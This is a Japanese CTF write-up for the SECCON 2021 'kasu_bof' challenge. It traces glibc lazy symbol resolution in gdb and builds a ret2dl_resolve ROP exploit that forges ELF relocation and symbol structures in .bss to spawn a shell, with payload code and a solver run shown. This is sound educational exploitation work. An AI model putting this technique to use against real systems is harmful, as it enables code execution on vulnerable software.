mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ file chall
chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cb260735eeb00c173f7f530e9fae9ee3704e6c6f, for GNU/Linux 3.2.0, not stripped

mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ checksec chall
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

実行ファイルに file コマンドと checksec を用いると、以下の特徴があることがわかる。

• x86
• SSP (Stack Smashing Protection) 無効
• Partial RELRO

.dynamic セクションは、 .rel.plt や .dynsym , .dynstr セクションなどのアドレス情報を保持しているセクションである。

このため、ライブラリ関数のシンボルを解決をする際は、 .dynamic セクションを最初に参照し、シンボル解決に必要な情報を含むセクションが配置されているアドレスを取得する。

.dynamic セクションは、 Elf32_Dyn 構造体のオブジェクトが連続して配置されている。

そこで、 Elf32_Dyn 構造体の定義をgdbで参照してみる。

gdbから、構造体の定義を得るために、libcにおけるデバッグ情報を取得しておく。

$ sudo apt install libc6-dbg libc6-dbg:i386

gef➤  break main
gef➤  run
gef➤  info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":

File ../elf/elf.h:
838:    typedef struct {...} Elf32_Dyn;gef➤  info types Elf32_Dyn
All types matching regular expression "Elf32_Dyn":

File ../elf/elf.h:
838:    typedef struct {...} Elf32_Dyn;
gef➤  ptype /o Elf32_Dyn
type = struct {
/*    0      |     4 */    Elf32_Sword d_tag;
/*    4      |     4 */    union {
/*                 4 */        Elf32_Word d_val;
/*                 4 */        Elf32_Addr d_ptr;

                            /* total size (bytes):    4 */
                        } d_un;

                        /* total size (bytes):    8 */
                      }

• ソースコードにおける定義

  • https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L840

Elf32_Dyn 構造体は、 それぞれの構造体がどのセクションの何の情報を持つのかを表す識別子である d_tag と、 d_tag に対応した値を union 型として持つ。

ここで、 .dynamic セクションを参照するため、このセクションそのもののアドレスを得るためには、 link_map 構造体の l_info フィールドを参照する必要がある。 各セクションの情報が格納されている l_info において、インデックスは、対応した d_tag により参照される。

• d_tagに代入されうる値の一覧

  • https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L862

    /* Legal values for d_tag (dynamic entry type).  */
    ...
    #define DT_STRTAB	5		/* Address of string table */
    #define DT_SYMTAB	6		/* Address of symbol table */
    ...
    #define DT_REL	17		/* Address of Rel relocs */
    ...
    #define DT_JMPREL	23		/* Address of PLT relocs */
    ...

そこで、次に link_map 構造体の構造と、 .dynamic セクションそのもののアドレスを解決する流れを見ていく。

gef➤  info types link_map
All types matching regular expression "link_map":

File ../elf/link.h:
84:	struct link_map_public;

File ../include/link.h:
91:	struct link_map;
271:	struct link_map_reldeps;

File ../sysdeps/x86/linkmap.h:
10:	struct link_map_machine;
gef➤  ptype /o struct link_map
/* offset    |  size */  type = struct link_map {
/*    0      |     4 */    Elf32_Addr l_addr;
/*    4      |     4 */    char *l_name;
/*    8      |     4 */    Elf32_Dyn *l_ld;
/*   12      |     4 */    struct link_map *l_next;
/*   16      |     4 */    struct link_map *l_prev;
/*   20      |     4 */    struct link_map *l_real;
/*   24      |     4 */    Lmid_t l_ns;
/*   28      |     4 */    struct libname_list *l_libname;
/*   32      |   308 */    Elf32_Dyn *l_info[77];
/*  340      |     4 */    const Elf32_Phdr *l_phdr;
...

gef➤  set $link_map = (struct link_map*) 0xf7ffd990
gef➤  print *$link_map.l_info[23]
$5 = {
d_tag = 0x17,
d_un = {
 d_val = 0x80482d8,
 d_ptr = 0x80482d8
}
}

rel.plt セクションは、解決したアドレスを格納するGOTのアドレスとシンボルの情報を得るために必要な情報を持つ。

rel.plt セクションは、 Elf32_Rel 構造体の配列となっており、 Elf32_Rel 構造体の定義は以下のようになっている。

gef➤  info types Elf32_Rel
All types matching regular expression "Elf32_Rel":

File ../elf/elf.h:
638:    typedef struct {...} Elf32_Rel;
658:    typedef struct {...} Elf32_Rela;
gef➤  ptype /o Elf32_Rel
type = struct {
/*    0      |     4 */    Elf32_Addr r_offset;
/*    4      |     4 */    Elf32_Word r_info;

                         /* total size (bytes):    8 */
                       }

• ソースコード

  • https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L634

  .dynamic セクションから取得した .rel.plt のアドレス先をgdbでダンプしてみる。 ここで、 _dl_runtime_resolve の第二引数である reloc_arg は、 .rel.plt セクションの先頭アドレスから、参照する Elf32_Rel 構造体までのオフセットとなっている。

gef➤  set $reloc_arg = 0x0
gef➤  set $reloc = (Elf32_Rel *)($link_map.l_info[23].d_un.d_ptr + $reloc_arg)
gef➤  print *reloc
$11 = {
r_offset = 0x804c00c,
r_info = 0x107
}

ここで、 r_offset はライブラリ関数のアドレスを解決後に、そのアドレスを格納するGOT領域のエントリとなる。 このため、 gets のアドレスが解決されると、 0x804c00c にそのアドレスが格納されることになる。

r_info は、その下位8bitと残りの上位24bitそれぞれに、次のような値を保持する。 r_info を 8 byte 右シフトすることにより、 .dynsym のインデックスを取得することができる。

/* How to extract and insert information held in the r_info field.  */

#define ELF32_R_SYM(val)		((val) >> 8)
#define ELF32_R_TYPE(val)		((val) & 0xff)
#define ELF32_R_INFO(sym, type)	(((sym) << 8) + ((type) & 0xff))

.dynsym セクションは、アドレス解決する関数のシンボルのサイズやオフセットなどの情報を持つ。

また、 .dynsym セクションは、 Elf32_Sym 構造体の配列となっている。

Elf32_Sym 構造体をgdbで参照してみる。

gef➤  info types Elf32_Sym
All types matching regular expression "Elf32_Sym":

File ../elf/elf.h:
527:    typedef struct {...} Elf32_Sym;
gef➤  ptype /o Elf32_Sym
type = struct {
/*    0      |     4 */    Elf32_Word st_name;
/*    4      |     4 */    Elf32_Addr st_value;
/*    8      |     4 */    Elf32_Word st_size;
/*   12      |     1 */    unsigned char st_info;
/*   13      |     1 */    unsigned char st_other;
/*   14      |     2 */    Elf32_Section st_shndx;

                      /* total size (bytes):   16 */
                    }

• ソースコード

  • https://elixir.bootlin.com/glibc/glibc-2.36/source/elf/elf.h#L519

ここで、 st_name は、実際にシンボルが置かれている .dynstr セクションのオフセットを指している。 そこで、 r_info からインデックスを計算し、実際に Elf32_Sym のアドレスを特定してみる。

gef➤  set $symtab = (Elf32_Sym *)($link_map.l_info[6].d_un.d_ptr)
gef➤  set $sym = $symtab[$reloc.r_info>>8]
gef➤  print $sym
$13 = {
st_name = 0x1a,
st_value = 0x0,
st_size = 0x0,
st_info = 0x12,
st_other = 0x0,
st_shndx = 0x0
}

st_name のオフセットを .dynstr セクションのアドレスに足し合わせたアドレスが、シンボルを指すアドレスとなっている。

gef➤  set $strtab = (char *)($link_map.l_info[5].d_un.d_ptr)
gef➤  set $gets_symbol = $strtab + $sym.st_name
gef➤  print $gets_symbol
$15 = 0x8048276 "gets"

これにより、 link_map 構造体から gets のシンボルが解決されるまでの流れを把握することができた。

そこで、次にこの流れを踏まえた上で、 system("/bin/sh") 呼び出すためのSolverを作成していく。

.bss 領域には、以下のように作成した Elf32_Rel 構造体と Elf32_Sym 構造体、 "system" のシンボル、および "/bin/sh" の文字列を格納する。

|-----------+----------.bss-------------+---------|
| Elf32_Rel | r_offset                  | 8 byte  |
|           | r_info                    |         |
|-----------+---------------------------+---------|
|           |                           | 8 byte  |
|           |                           | (align) |
|-----------+---------------------------+---------|
| Elf32_Sym | st_name                   | 16 byte |
|           | st_value                  |         |
|           | st_size                   |         |
|           | st_info st_other st_shndx |         |
|-----------+---------------------------+---------|
|           |                           | 4 byte  |
|-----------+---------------------------+---------|
| symbol    | 'system'                  | 4 byte  |
|-----------+---------------------------+---------|
|           |                           | 4 byte  |
|-----------+---------------------------+---------|
| argment   | '/bin/sh'                 |  4byte  |
|-----------+---------------------------+---------|
|           |                           |         |

このとき、 Elf32_Sym 構造体は、 .dynsym セクションのアドレスから、 0x10 バイトの間隔で配置されなければならないため( Elf32_Sym 構造体のサイズが 0x10 byteのため)、 必要なバイト数だけalignしている。

Solverを書くときは、事前に .bss のどのアドレスがどの構造体やシンボルに対応するか計算しておき、ROPで gets の引数として指定しておき、ROPチェインが発火後に、それぞれの構造体やシンボルを書き込んでいく。

  fake_elf32_rel_addr = bss

  fake_elf32_sym_addr = fake_elf32_rel_addr + 0x10

  system_symbol_addr = fake_elf32_sym_addr + 0x14

  sh_string_addr = system_symbol_addr + 0x1c

あとは、用意した偽の構造体やシンボルを .bss 領域内に格納できるように、複数回 gets を呼び出す必要がある。

そこで、 それぞれ計算しておいた領域に構造体を引数とし、 gets@plt にジャンプするROPを組む。 x86のROPは、参考文献に挙げたセキュリティコンテストチャレンジブックが参考になる。

 # padding
 buf = b'A'*0x84                 # fill stack
 buf += p32(0xdeadbeaf)          # saved_ebp

 # gets(fake_elf32_rel_addr)
 buf += p32(gets_plt)            # main return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(fake_elf32_rel_addr) # gets arg

 # gets(fake_elf32_sym_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(fake_elf32_sym_addr) # gets arg

 # gets(system_symbol_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(system_symbol_addr)  # gets arg

 # gets(sh_string_addr)
 buf += p32(gets_plt)            # pop ret return addr
 buf += p32(pop_ret)             # gets return addr
 buf += p32(sh_string_addr)      # gets arg

それぞれの構造体とシンボルの書き込みを行うROPを組んだ後、偽の構造体を元にアドレスを解決させるため、 .plt セクションの先頭にジャンプする。 このとき、 system の引数として "/bin/sh" を取れるように、 "/bin/sh" が格納されたアドレスをスタックに積んでおく。

 # system('/bin/sh')
 buf += p32(plt)                 # pop ret return addr
 buf += p32(reloc_arg)           # reloc arg
 buf += p32(0xdeadbeef)          # system return addr
 buf += p32(sh_string_addr)      # system arg

mc4nf@mc4nf:~/ctf/seccon2021/pwn/kasu_bof$ python solve.py 
[*] '/home/mc4nf/ctf/seccon2021/pwn/kasu_bof/chall'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
$ ls
chall
flag-4f8e964cf95b989f6def1afdfd0e91b7.txt
$ cat flag*
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}